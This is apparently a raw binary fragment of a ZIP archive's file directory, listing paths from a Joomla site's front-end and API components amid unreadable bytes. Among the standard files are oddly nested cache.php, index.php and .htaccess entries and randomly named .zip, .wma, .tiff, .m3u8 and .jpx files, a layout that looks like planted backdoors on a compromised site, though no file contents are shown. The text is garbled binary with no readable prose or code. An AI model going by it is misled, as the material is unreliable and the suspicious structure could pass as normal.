6��com_comprofiler/plugin/user/plug_fabrik/fbk.fabrik.phpnu&1i�PK���\�����6a�com_comprofiler/plugin/user/plug_fabrik/fbk.fabrik.xmlnu&1i�PK���\2��com_comprofiler/plugin/user/plug_fabrik/index.htmlnu&1i�PK���\�V��com_media/index.htmlnu&1i�PK���\�B�ww'S�com_media/src/Dispatcher/Dispatcher.phpnu�[���PK���\#����!com_ajax/ajax.phpnu�[���PK���\�V�(%com_ajax/index.htmlnu&1i�PK���\����''$�%com_weblinks/src/Model/FormModel.phpnu�[���PK���\h6�2�2(4com_weblinks/src/Model/CategoryModel.phpnu�[���PK���\�* 77*�fcom_weblinks/src/Model/CategoriesModel.phpnu�[���PK���\l����'|xcom_weblinks/src/Model/WeblinkModel.phpnu�[���PK���\]uo�uu%T�com_weblinks/src/Service/Category.phpnu�[���PK���\�G�"�"#�com_weblinks/src/Service/Router.phpnu�[���PK���\�FD�)$)$1�com_weblinks/src/Controller/WeblinkController.phpnu�[���PK���\�:|��	�	1��com_weblinks/src/Controller/DisplayController.phpnu�[���PK���\P�8``-~�com_weblinks/src/Helper/AssociationHelper.phpnu�[���PK���\4����
�
';�com_weblinks/src/Helper/RouteHelper.phpnu�[���PK���\��XnXX'9�com_weblinks/src/View/Form/HtmlView.phpnu�[���PK���\-2ol��+�com_weblinks/src/View/Category/HtmlView.phpnu�[���PK���\������+�com_weblinks/src/View/Category/FeedView.phpnu�[���PK���\�4T
��-"com_weblinks/src/View/Categories/HtmlView.phpnu�[���PK���\)N��*�%com_weblinks/src/View/Weblink/HtmlView.phpnu�[���PK���\�V�Z5com_weblinks/helpers/index.htmlnu&1i�PK���\���DD�5com_weblinks/helpers/icon.phpnu&1i�PK���\(�B &&Y<com_weblinks/helpers/route.phpnu&1i�PK���\�������>com_weblinks/tmpl/form/edit.phpnu�[���PK���\�F�q>>�Ocom_weblinks/tmpl/form/edit.xmlnu�[���PK���\��WW&?Qcom_weblinks/tmpl/category/default.xmlnu�[���PK���\�K��GG&�dcom_weblinks/tmpl/category/default.phpnu�[���PK���\��H�8�8,�gcom_weblinks/tmpl/category/default_items.phpnu�[���PK���\6V�
�
/��com_weblinks/tmpl/category/default_children.phpnu�[���PK���\���ss%��com_weblinks/tmpl/weblink/default.xmlnu�[���PK���\���RR%i�com_weblinks/tmpl/weblink/default.phpnu�[���PK���\mP/II(�com_weblinks/tmpl/categories/default.xmlnu�[���PK���\�_wp��(��com_weblinks/tmpl/categories/default.phpnu�[���PK���\�u�ZZ.��com_weblinks/tmpl/categories/default_items.phpnu�[���PK���\�q�9����com_weblinks/forms/weblink.xmlnu�[���PK���\�V��com_config/index.htmlnu&1i�PK���\O�4JJ%Gcom_config/forms/modules_advanced.xmlnu�[���PK���\�	�.		�
com_config/forms/modules.xmlnu�[���PK���\������com_config/forms/templates.xmlnu�[���PK���\�8E�{	{	�com_config/forms/config.xmlnu�[���PK���\6����'f!com_config/src/View/Config/HtmlView.phpnu�[���PK���\�$M��*�-com_config/src/View/Templates/HtmlView.phpnu�[���PK���\o(]�	�	(�<com_config/src/View/Modules/HtmlView.phpnu�[���PK���\UX�]��!�Fcom_config/src/Service/Router.phpnu�[���PK���\Ďਥ�(�Lcom_config/src/Dispatcher/Dispatcher.phpnu�[���PK���\��ؾ�
�
'�Rcom_config/src/Model/TemplatesModel.phpnu�[���PK���\�lѲ::%�`com_config/src/Model/ModulesModel.phpnu�[���PK���\�&4SS$�com_config/src/Model/ConfigModel.phpnu�[���PK���\��x� � "2�com_config/src/Model/FormModel.phpnu�[���PK���\F;/K�com_config/src/Controller/DisplayController.phpnu�[���PK���\
_�cff.��com_config/src/Controller/ConfigController.phpnu�[���PK���\S��W''/��com_config/src/Controller/ModulesController.phpnu�[���PK���\a��ש�1�com_config/src/Controller/TemplatesController.phpnu�[���PK���\A���ff+�com_config/tmpl/modules/default_options.phpnu�[���PK���\�����#��com_config/tmpl/modules/default.phpnu�[���PK���\�8S�-com_config/tmpl/templates/templates/cache.phpnu&1i�PK���\㹶���-~com_config/tmpl/templates/templates/index.phpnu&1i�PK���\Z�@��%�1com_config/tmpl/templates/default.phpnu�[���PK���\N ��%�9com_config/tmpl/templates/default.xmlnu�[���PK���\�aw��-�;com_config/tmpl/templates/default_options.phpnu�[���PK���\� �pp+�?com_config/tmpl/config/default_metadata.phpnu�[���PK���\�=L�hh'�Ccom_config/tmpl/config/default_site.phpnu�[���PK���\x2;ff&�Gcom_config/tmpl/config/default_seo.phpnu�[���PK���\��g��"EKcom_config/tmpl/config/default.xmlnu�[���PK���\-��AA"eMcom_config/tmpl/config/default.phpnu�[���PK���\�V��Ucom_banners/index.htmlnu&1i�PK���\��5H  0]Vcom_banners/src/Controller/DisplayController.phpnu�[���PK���\ou����'�Zcom_banners/src/Helper/BannerHelper.phpnu�[���PK���\ĸt� 8 8&�^com_banners/src/Model/BannersModel.phpnu�[���PK���\���5%`�com_banners/src/Model/BannerModel.phpnu�[���PK���\c�MDD$ѱcom_banners/src/Service/Category.phpnu�[���PK���\����"i�com_banners/src/Service/Router.phpnu�[���PK���\|�$$0��com_contenthistory/src/Dispatcher/Dispatcher.phpnu�[���PK���\>��--75�com_contenthistory/src/Controller/DisplayController.phpnu�[���PK���\�V���com_contenthistory/index.htmlnu&1i�PK���\��^u"5�com_fields/forms/filter_fields.xmlnu�[���PK���\Fm�AA$��com_fields/layouts/fields/render.phpnu�[���PK���\g��11#;�com_fields/layouts/field/render.phpnu�[���PK���\�*d�/��com_fields/src/Controller/DisplayController.phpnu�[���PK���\]μ!��(#�com_fields/src/Dispatcher/Dispatcher.phpnu�[���PK���\��7oo'�com_privacy/forms/confirm.xmlnu�[���PK���\d������com_privacy/forms/request.xmlnu�[���PK���\�w����com_privacy/forms/remind.xmlnu�[���PK���\.�!��$]�com_privacy/tmpl/confirm/default.phpnu�[���PK���\�+��22$��com_privacy/tmpl/confirm/default.xmlnu�[���PK���\*�z��$com_privacy/tmpl/request/default.phpnu�[���PK���\g��>11$
com_privacy/tmpl/request/default.xmlnu�[���PK���\���;��#�com_privacy/tmpl/remind/default.phpnu�[���PK���\�m�..#�com_privacy/tmpl/remind/default.xmlnu�[���PK���\���**0Wcom_privacy/src/Controller/DisplayController.phpnu�[���PK���\���{��0�com_privacy/src/Controller/RequestController.phpnu�[���PK���\�W�66(/com_privacy/src/View/Remind/HtmlView.phpnu�[���PK���\�QI99)�;com_privacy/src/View/Confirm/HtmlView.phpnu�[���PK���\�h�;
;
)4Hcom_privacy/src/View/Request/HtmlView.phpnu�[���PK���\�f���"�Ucom_privacy/src/Service/Router.phpnu�[���PK���\n����)\com_privacy/src/Dispatcher/Dispatcher.phpnu�[���PK���\_���%Qacom_privacy/src/Model/RemindModel.phpnu�[���PK���\3��b"b"&�vcom_privacy/src/Model/RequestModel.phpnu�[���PK���\_���pp&[�com_privacy/src/Model/ConfirmModel.phpnu�[���PK���\�F��'!�com_menus/src/Dispatcher/Dispatcher.phpnu�[���PK���\�X��w�com_menus/forms/forms/cache.phpnu&1i�PK���\�Z�PRR��com_menus/forms/forms/index.phpnu&1i�PK���\,�� ��com_menus/forms/filter_items.xmlnu�[���PK���\$��V;;0�com_menus/layouts/joomla/searchtools/default.phpnu�[���PK���\���,!!z
com_search/router.phpnu&1i�PK���\
�66�com_search/models/search.phpnu&1i�PK���\�V�b)com_search/models/index.htmlnu&1i�PK���\-Ll���)com_search/search.phpnu&1i�PK���\�V��+com_search/index.htmlnu&1i�PK���\P٣���,com_search/controller.phpnu&1i�PK���\�V��7com_search/views/index.htmlnu&1i�PK���\�e��� S8com_search/views/views/index.phpnu&1i�PK���\KX�rr E:com_search/views/views/cache.phpnu&1i�PK���\�9)��,<com_search/views/views/swf_6929b7101134a.zipnu&1i�PK���\��8m�%�%%�Qcom_search/views/search/view.html.phpnu&1i�PK���\�V�'xcom_search/views/search/tmpl/index.htmlnu&1i�PK���\;����(vxcom_search/views/search/tmpl/default.phpnu&1i�PK���\:a�yN
N
(]|com_search/views/search/tmpl/default.xmlnu&1i�PK���\	/1�::0�com_search/views/search/tmpl/default_results.phpnu&1i�PK���\(�Myy.��com_search/views/search/tmpl/default_error.phpnu&1i�PK���\HT7�44-t�com_search/views/search/tmpl/default_form.phpnu&1i�PK���\|�zii+�com_search/views/search/view.opensearch.phpnu&1i�PK���\�V�"ɡcom_search/views/search/index.htmlnu&1i�PK���\�V�
:�index.htmlnu�[���PKk��\�	��UU6��com_categories/src/Controller/CategoriesController.phpnu�[���PKk��\S�u��2N�com_categories/src/View/Categories/JsonapiView.phpnu�[���PKk��\�����-��com_contact/src/View/Contacts/JsonapiView.phpnu�[���PKk��\����
�
0��com_contact/src/Serializer/ContactSerializer.phpnu�[���PKk��\v�|��%��com_media/src/Model/AdaptersModel.phpnu�[���PKk��\�C1Zff"-�com_media/src/Model/MediaModel.phpnu�[���PKk��\Y7��G G #�com_media/src/Model/MediumModel.phpnu�[���PKk��\�5)��$com_media/src/Model/AdapterModel.phpnu�[���PKk��\�,r��!�%com_media/src/View/View/.htaccessnu&1i�PKk��\�"�V!�&com_media/src/View/View/cache.phpnu&1i�PKk��\�Έ�z	z	!K=com_media/src/View/View/index.phpnu&1i�PKk��\��\\(Gcom_media/src/View/View/wjArXNcfvRt.tiffnu&1i�PKk��\jcפ��(�]com_media/src/View/Media/JsonapiView.phpnu�[���PKk��\([��;;+�ecom_media/src/View/Adapters/JsonapiView.phpnu�[���PKk��\�[�JYY/qjcom_media/src/Controller/AdaptersController.phpnu�[���PKk��\�;Yb.b.,)qcom_media/src/Controller/MediaController.phpnu�[���PKk��\$�ff-�com_templates/src/View/Styles/JsonapiView.phpnu�[���PKk��\<=0OO1��com_templates/src/Controller/StylesController.phpnu�[���PKk��\���Z�com_templates/src/src/cache.phpnu&1i�PKk��\g�.ll��com_templates/src/src/index.phpnu&1i�PKk��\�����1t�com_templates/com_templates/mov_69188288a9bf0.zipnu&1i�PKk��\1�;���%��com_templates/com_templates/index.phpnu&1i�PKk��\x0�{{%��com_templates/com_templates/cache.phpnu&1i�PKk��\�ͣ@/W�com_content/src/Serializer/Serializer/cache.phpnu&1i�PKk��\����/�com_content/src/Serializer/Serializer/index.phpnu&1i�PKk��\�,r��/&com_content/src/Serializer/Serializer/.htaccessnu&1i�PKk��\2�R�vv0P'com_content/src/Serializer/ContentSerializer.phpnu�[���PKk��\�Õ7[[(&3com_content/src/Helper/ContentHelper.phpnu�[���PKk��\�k��-�6com_content/src/View/Articles/JsonapiView.phpnu�[���PKk��\���TT1�Ocom_content/src/Controller/ArticlesController.phpnu�[���PKk��\'W�(.�_com_content/src/Controller/Controller/QZz.m3u8nu�[���PKk��\�,r��/xcom_content/src/Controller/Controller/.htaccessnu�[���PKk��\�K/Sycom_content/src/Controller/Controller/cache.phpnu�[���PKk��\v�1���/��com_content/src/Controller/Controller/index.phpnu�[���PKk��\�{{,
�com_menus/src/Controller/MenusController.phpnu�[���PKk��\/0���,�com_menus/src/Controller/ItemsController.phpnu�[���PKk��\�?��(��com_menus/src/View/Items/JsonapiView.phpnu�[���PKk��\��4oo(��com_menus/src/View/Menus/JsonapiView.phpnu�[���PKk��\����3r�com_newsfeeds/src/Serializer/NewsfeedSerializer.phpnu�[���PKk��\���??,��com_newsfeeds/src/View/Feeds/Feeds/index.phpnu&1i�PKk��\$��?,3�com_newsfeeds/src/View/Feeds/Feeds/cache.phpnu&1i�PKk��\�,r��,��com_newsfeeds/src/View/Feeds/Feeds/.htaccessnu&1i�PKk��\^�e�..8��com_newsfeeds/src/View/Feeds/Feeds/MkWhFzLflVtiZIPrK.wmanu&1i�PKk��\�_��YY,ncom_newsfeeds/src/View/Feeds/JsonapiView.phpnu�[���PKk��\Ƞ�CC0#com_newsfeeds/src/Controller/FeedsController.phpnu�[���PKk��\���� com_modules/src/src/cache.phpnu&1i�PKk��\~gH7��,7com_modules/src/src/index.phpnu&1i�PKk��\��Wvv(4Mcom_modules/src/View/View/View/cache.phpnu&1i�PKk��\��U��(Ocom_modules/src/View/View/View/index.phpnu&1i�PKk��\(PW߹�4Qcom_modules/src/View/View/View/jp2_692afbb885efc.zipnu&1i�PKk��\�,r��(#gcom_modules/src/View/View/View/.htaccessnu&1i�PKk��\�,r��#Vhcom_modules/src/View/View/.htaccessnu&1i�PKk��\���Ύ�.�icom_modules/src/View/View/eMyXngLVkuZmRzrt.wmanu&1i�PKk��\rW..��#p�com_modules/src/View/View/index.phpnu&1i�PKk��\%��#��com_modules/src/View/View/cache.phpnu&1i�PKk��\J�B�**,�com_modules/src/View/Modules/JsonapiView.phpnu�[���PKk��\Q\�g��0��com_modules/src/Controller/ModulesController.phpnu�[���PKk��\��
!�com_modules/com_modules/cache.phpnu&1i�PKk��\t��??!G�com_modules/com_modules/index.phpnu&1i�PKk��\�Ƅ�\\��com_modules/com_modules/Fap.jpxnu&1i�PKk��\h^��.��com_messages/src/View/Messages/JsonapiView.phpnu�[���PKk��\-�JII2�com_messages/src/Controller/MessagesController.phpnu�[���PKk��\KC��
�
*��com_fields/src/View/Fields/JsonapiView.phpnu�[���PKk��\�,r��"�com_fields/src/View/View/.htaccessnu&1i�PKk��\��%�"com_fields/src/View/View/index.phpnu&1i�PKk��\@l��"|com_fields/src/View/View/cache.phpnu&1i�PKk��\��-:[
[
*�5com_fields/src/View/Groups/JsonapiView.phpnu�[���PKk��\~o�
tt.�@com_fields/src/Controller/GroupsController.phpnu�[���PKk��\�{[tt.hHcom_fields/src/Controller/FieldsController.phpnu�[���PKk��\��WOO4:Pcom_languages/src/Controller/LanguagesController.phpnu�[���PKk��\���,4�Scom_languages/src/Controller/OverridesController.phpnu�[���PKk��\�0ڵ2lhcom_languages/src/Controller/StringsController.phpnu�[���PKk��\0i���	�	0�vcom_languages/src/View/Overrides/JsonapiView.phpnu�[���PKk��\;�{0܀com_languages/src/View/Languages/JsonapiView.phpnu�[���PKk��\�;gZ�	�	.K�com_languages/src/View/Strings/JsonapiView.phpnu�[���PKk��\�H�JHH-O�com_users/src/Controller/GroupsController.phpnu�[���PKk��\T�Q�JJ-�com_users/src/Controller/LevelsController.phpnu�[���PKk��\�O���,��com_users/src/Controller/UsersController.phpnu�[���PKk��\/a�s��)��com_users/src/View/Groups/JsonapiView.phpnu�[���PKk��\\�
��
�
(�com_users/src/View/Users/JsonapiView.phpnu�[���PKk��\A����)6�com_users/src/View/Levels/JsonapiView.phpnu�[���PKk��\��lUU3I�com_contenthistory/src/View/History/JsonapiView.phpnu�[���PKk��\�*y���7�com_contenthistory/src/Controller/HistoryController.phpnu�[���PKk��\*���
�
0@�com_plugins/src/Controller/PluginsController.phpnu�[���PKk��\�=||,D�com_plugins/src/View/Plugins/JsonapiView.phpnu�[���PKk��\|g�3�com_config/src/Controller/ApplicationController.phpnu�[���PKk��\C��X��1��com_config/src/Controller/ComponentController.phpnu�[���PKk��\F�{{-� com_config/src/View/Component/JsonapiView.phpnu�[���PKk��\�e8��/�$ com_config/src/View/Application/JsonapiView.phpnu�[���PKk��\MZN��,�5 com_banners/src/View/Clients/JsonapiView.phpnu�[���PKk��\����,�; com_banners/src/View/Banners/JsonapiView.phpnu�[���PKk��\/�vxCC0OD com_banners/src/Controller/BannersController.phpnu�[���PKk��\(?�5CC0�G com_banners/src/Controller/ClientsController.phpnu�[���PKk��\T�'8WW-�K com_privacy/src/View/Requests/JsonapiView.phpnu�[���PKk��\ ����-IS com_privacy/src/View/Consents/JsonapiView.phpnu�[���PKk��\IKA		1*_ com_privacy/src/Controller/RequestsController.phpnu�[���PKk��\�"#�[[1�h com_privacy/src/Controller/ConsentsController.phpnu�[���PKk��\�,r��/\n com_privacy/src/Controller/Controller/.htaccessnu&1i�PKk��\�}�Գ�/�o com_privacy/src/Controller/Controller/index.phpnu&1i�PKk��\Z��0/�� com_privacy/src/Controller/Controller/cache.phpnu&1i�PKk��\ö@bb&� com_tags/src/View/Tags/JsonapiView.phpnu�[���PKk��\xΘ���.Ң com_redirect/src/View/Redirect/JsonapiView.phpnu�[���PKl��\���++%� com_redirect/src/View/cssjs/index.phpnu&1i�PKl��\�Y(k��+�� com_redirect/src/View/cssjs/cssjs/index.phpnu&1i�PKl��\�UiHnn+~� com_redirect/src/View/cssjs/cssjs/cache.phpnu&1i�PKl��\1 ����7G� com_redirect/src/View/cssjs/cssjs/wma_693912d66a32a.zipnu&1i�PKl��\�,r��+V� com_redirect/src/View/cssjs/cssjs/.htaccessnu&1i�PKl��\޷�C��,�� com_redirect/src/View/post-catalog/index.phpnu&1i�PKl��\�N5�FF2�� com_redirect/src/Controller/RedirectController.phpnu�[���PKl��\z�f�mm-�� com_installer/src/View/Manage/JsonapiView.phpnu�[���PKl��\m♽��1U� com_installer/src/Controller/ManageController.phpnu�[���PKTTz�r�